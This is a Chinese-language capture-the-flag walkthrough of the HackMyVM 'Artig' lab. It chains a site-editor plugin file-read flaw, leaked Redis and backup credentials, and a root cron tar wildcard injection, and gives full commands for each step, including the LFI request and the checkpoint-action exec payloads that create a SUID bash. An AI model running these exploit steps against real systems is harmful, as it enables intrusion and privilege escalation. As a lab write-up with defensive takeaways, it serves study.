HackMyVM Artig 通关记录|site-editor LFI、Redis 配置泄露与 tar wildcard 提权
靶机链接:Artig
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Artig | 192.168.1.111 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 21/tcp FTP、22/tcp SSH、80/tcp WordPress、6379/tcp Redis | 明确 Web、FTP、Redis 是主要攻击面 |
| 信息泄露 | 匿名 FTP note.txt | 暗示管理员 max 与 site-editor 插件 |
| LFI | ajax_shortcode_pattern.php?ajax_path= | 读取本地文件,转入配置泄露链 |
| Redis 配置读取 | requirepass washington | 获得一组可复用凭据 |
| FTP 凭据复用 | mario:washington | 读取 mario 家目录和 Web 根目录 |
| 备份配置泄露 | wp-configg.php.bak | 获得 max 复用的旧数据库密码 |
| 初始访问 | max SSH 登录 | 获取 user flag 与 sudo 能力 |
| 本地枚举 | /etc/crontab 中的 root /opt/backup.sh | 确认备份脚本由 root 周期性执行 |
| Root 提权 | /opt/backup.sh 执行 tar -czf ... * | 通过 wildcard 注入读取 root flag,SUID bash 可作补充验证 |
0x02 侦察与信息收集 (Reconnaissance)
1. RustScan 联动 Nmap
先用 RustScan 做快速端口发现,再让 Nmap 接手服务识别:
rustscan -a 192.168.1.111 --ulimit 5000 -- -sS -sV -sC -Pn
RustScan 首轮输出:
Open 192.168.1.111:21
Open 192.168.1.111:22
Open 192.168.1.111:53
Open 192.168.1.111:80
Open 192.168.1.111:6379
联动 Nmap 复核后的服务摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
21/tcp | FTP | vsftpd 3.0.5 |
22/tcp | SSH | OpenSSH 10.0p2 Debian 7+deb13u2 |
80/tcp | HTTP | Apache httpd 2.4.66 (Debian),WordPress 6.9.4 |
6379/tcp | Redis | Redis key-value store |
补充一点:53/tcp 被 RustScan 标记为 open,但 Nmap 复核时结果为 closed domain。这类差异在快速扫描里并不少见,后续判断应以复核结果为准。
2. FTP 匿名访问
用 Nmap 脚本确认匿名访问:
nmap -sV --script=ftp-anon -p 21 192.168.1.111
输出:
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 649 Apr 10 19:39 note.txt
下载并查看 note.txt:
wget ftp://192.168.1.111/note.txt
cat note.txt
关键信息有三点:
- 新管理员叫
Max - 他提到正在测试一个
site editor plugin - SSH 只开放给管理员账户
这条留言没有直接给出凭据,但把攻击方向压缩到了 WordPress 插件与管理员配置失误。
3. WordPress 与插件定位
为了让本机名解析正常,先补一个 hosts:
echo '192.168.1.111 artig.hvm' | sudo tee -a /etc/hosts
然后看 WordPress 暴露的用户:
curl -s http://artig.hvm/index.php/wp-json/wp/v2/users
输出摘要:
[{"id":1,"name":"max","slug":"max"}]
这和 note.txt 中的管理员名字闭环了。接着看 site-editor 插件的公开 readme.txt:
curl -s http://artig.hvm/wp-content/plugins/site-editor/readme.txt
其中关键字段为:
Stable tag: 1.1
这一步用于确认插件版本:后续真正可利用的点不是 WordPress 本体,而是 site-editor 1.1。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. 确认 site-editor 本地文件读取
访问插件里的 ajax_shortcode_pattern.php,将 ajax_path 指向系统文件:
curl -s 'http://artig.hvm/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd'
返回内容中可以看到本地账户:
root:x:0:0:root:/root:/bin/bash
max:x:1000:1000:max,,,:/home/max:/bin/bash
mario:x:1001:1001:,,,:/home/mario:/bin/bash
这说明插件存在明确的 LFI / 任意文件读取。LFI 后续读取清单可参考知识库:LFI 任意文件读取与运行时信息收集。
2. 读取 Redis 配置
LFI 既然能读系统文件,就优先查看配置文件。Redis 服务已经暴露在外部,下一步读取其配置。Redis 配置泄露和凭据复用的判断流程见知识库:Redis 配置泄露与凭据复用:
curl -s 'http://artig.hvm/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf'
从结果中提取关键项:
bind 0.0.0.0
protected-mode no
requirepass washington
阶段结论:
| 发现 | 影响 |
|---|---|
site-editor 1.1 可读本地文件 | 可持续读取系统配置和敏感文件 |
/etc/passwd 暴露 max、mario | 明确后续凭据复用目标 |
Redis 密码 washington | 可验证 Redis 认证,并继续尝试复用到其他服务 |
0x04 核心攻击链:LFI 与凭据复用获取初始权限
1. Redis 凭据复用到 FTP
先确认 Redis 密码可用:
redis-cli -h 192.168.1.111 -p 6379 -a washington INFO server
虽然 Redis 数据库本身没有现成键值,但密码 washington 被复用到了 mario 的 FTP 账户。
先看 mario 的 .ssh 目录:
curl -s ftp://mario:washington@192.168.1.111/.ssh/
输出:
-rw------- 1 1001 1001 1856 Apr 10 23:22 id_rsa
-rw-r--r-- 1 1001 1001 393 Apr 10 23:22 id_rsa.pub
再看 Web 根目录:
curl -s 'ftp://mario:washington@192.168.1.111/%2Fvar/www/html/'
目录列表中可以看到一个高价值备份文件:
wp-configg.php.bak
2. 下载 WordPress 备份配置
下载这个备份配置:
curl -s -o wp-configg.php.bak 'ftp://mario:washington@192.168.1.111/%2Fvar/www/html/wp-configg.php.bak'
sed -n '20,30p' wp-configg.php.bak
关键内容:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpmaxadmin' );
define( 'DB_PASSWORD', 'm92f21W86rrq' );
define( 'DB_HOST', 'localhost' );
这一步拿到的是旧数据库密码。后续 SSH 登录可以验证它被 max 复用。
3. SSH 登录 max
使用刚才的密码尝试 SSH:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 'id'
结果:
uid=1000(max) gid=1000(max) groups=1000(max),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)
说明旧数据库密码被 max 复用为 SSH 密码。
4. User Flag
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 'cat /home/max/user.txt'
User Flag:
HVM{XxWh4t-D1d-Y0u-Do-Max!!!xX}
0x05 权限提升 (Privilege Escalation)
路线总览
提权点只有一个:root cron 会在 /var/www/html 中执行 tar -czf ... *。利用时可以分成两种落点:
| 方法 | 核心动作 | 适用场景 |
|---|---|---|
| 方法 A:复制 root flag | 让 root 执行 cp /root/root.txt /var/www/html/root.txt | 最稳定,适合通关与复现 |
方法 B:生成 SUID bash | 让 root 复制 /bin/bash 并设置 4755 | 可验证 root 命令执行,但受 cron 覆盖窗口影响 |
1. sudo 权限与备份脚本
先看 max 能通过 sudo 做什么:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 'sudo -l'
输出:
User max may run the following commands on Artig:
(www-data) NOPASSWD: /bin/bash
也就是说,当前权限可以无密码切到 www-data。接着查看系统定时任务。先看 /etc/crontab:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 'cat /etc/crontab'
输出中可以看到 /opt/backup.sh 由 root 每分钟执行:
* * * * * root /opt/backup.sh
这一步确认了两个关键信息:
- 执行上下文是
root。 - 被周期性执行的脚本路径是
/opt/backup.sh。
继续查看脚本内容:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 'cat /opt/backup.sh'
脚本内容:
#!/bin/bash
BACKUP_DIR="/root"
TARGET="/var/www/html"
mkdir -p $BACKUP_DIR
cd $TARGET
tar -czf $BACKUP_DIR/wordpress_backup.tar.gz *
/opt/backup.sh 会被 root 周期性执行,而它在 /var/www/html 中对裸 * 做 shell 展开。这就是典型的 tar wildcard 注入条件。通用原理和利用模板见知识库:tar wildcard 注入提权。
2. 挂载点确认与利用选择
这台机器的 /tmp 是 nosuid:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 'mount | grep -E " /tmp | / "'
输出:
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,size=1010656k,nr_inodes=1048576,inode64)
因此主线不走 /tmp 的 SUID 副本路线,优先让 root 复制 root.txt 到 Web 根目录。这个落点稳定、输出直观,也更符合通关复现。
方法 A:复制 root flag 到 Web 根目录
这是主线利用方式:让 root 定时任务在执行 tar 时,顺带执行放入目录中的 shell.sh,把 /root/root.txt 复制到 Web 根目录。
先以 www-data 身份在 /var/www/html 下放置注入文件和执行脚本:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 \
'sudo -u www-data /bin/bash -c '\''cd /var/www/html && \
printf "%s\n" \
"cp /root/root.txt /var/www/html/root.txt" \
"chmod 644 /var/www/html/root.txt" > shell.sh && \
chmod +x shell.sh && \
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"'\'''
等待 root cron 执行后,直接读取复制出来的 flag:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 'ls -l /var/www/html/root.txt; cat /var/www/html/root.txt'
结果:
-rw-r--r-- 1 root root 31 May 25 10:15 /var/www/html/root.txt
HVM{xXw1lDc4rd-f0r-7h3-w1nNXx}
方法 B:生成 SUID bash 副本
除了直接复制 flag,也可以让 root 定时任务生成一个 SUID bash 副本。由于 /tmp 带 nosuid,副本必须落到 /var/www/html 这种有效挂载点,而不是 /tmp。
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 \
'sudo -u www-data /bin/bash -c '\''cd /var/www/html && \
printf "%s\n" \
"cp /bin/bash /var/www/html/rootbash" \
"chown root:root /var/www/html/rootbash" \
"chmod 4755 /var/www/html/rootbash" > shell.sh && \
chmod +x shell.sh && \
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"'\'''
复测时可以观察到文件在某些时刻确实被 root 设为 SUID:
/var/www/html/rootbash 4755 -rwsr-xr-x root:root
随后执行:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 '/var/www/html/rootbash -p -c "id; whoami"'
实测结果:
uid=1000(max) gid=1000(max) euid=0(root) groups=1000(max),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)
root
该方法可用,但 root 的备份任务每分钟都会重新执行一次 shell.sh。如果正好撞上 cp /bin/bash /var/www/html/rootbash 的覆盖窗口,可能出现:
bash: line 1: /var/www/html/rootbash: Text file busy
因此从通关和复现角度看,方法 A 更稳;方法 B 更适合作为补充提权路径。
3. 清理
验证完成后,把注入文件删掉:
sshpass -p 'm92f21W86rrq' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
max@192.168.1.111 \
'sudo -u www-data /bin/bash -c '\''cd /var/www/html && \
rm -f -- shell.sh root.txt rootbash "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"'\'''
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/max/user.txt - 内容:
HVM{XxWh4t-D1d-Y0u-Do-Max!!!xX}
Root Flag
- 路径:
/root/root.txt - 内容:
HVM{xXw1lDc4rd-f0r-7h3-w1nNXx}
复盘总结
Artig 的主线不是单个高危漏洞秒杀,而是信息泄露、密码复用和本地任务误配置连续放大。
- 匿名 FTP 给出方向。
note.txt只是低强度信息泄露,但它把注意力指向了管理员max和site-editor插件。 site-editor1.1 是入口点。 这个 LFI 不直接给 shell,但能稳定读取/etc/passwd、redis.conf这类关键文件。- Redis 更像凭据跳板。
bind 0.0.0.0、protected-mode no和明文requirepass组合在一起,让 Redis 密码可以被拿去做横向复用。 - 备份配置是第二次泄露。
mario的 FTP 权限能读到 Web 根目录,wp-configg.php.bak直接把max复用的旧数据库密码暴露出来。 www-data权限足够触发提权。max不能直接 sudo 到 root,但sudo -u www-data /bin/bash已经能写入/var/www/html,正好满足 root cron 的利用条件。- 裸
*让 tar 参数可控。 root cron 在可写目录中执行tar -czf ... *,攻击者创建的--checkpoint文件名会被当作 tar 参数解析。 - 提权落点要看挂载选项。
/tmp带nosuid,所以主线选择把 root flag 复制到 Web 根目录;SUIDbash适合作为补充验证,而不是最稳复现路径。
从防守角度看,问题同样很清楚:不要在生产插件里暴露任意文件读取;不要把 Redis 密码硬编码在可读配置里并对外监听;不要把配置备份直接留在 Web 根目录;root 定时任务也不要在可写目录上用裸 * 通配符。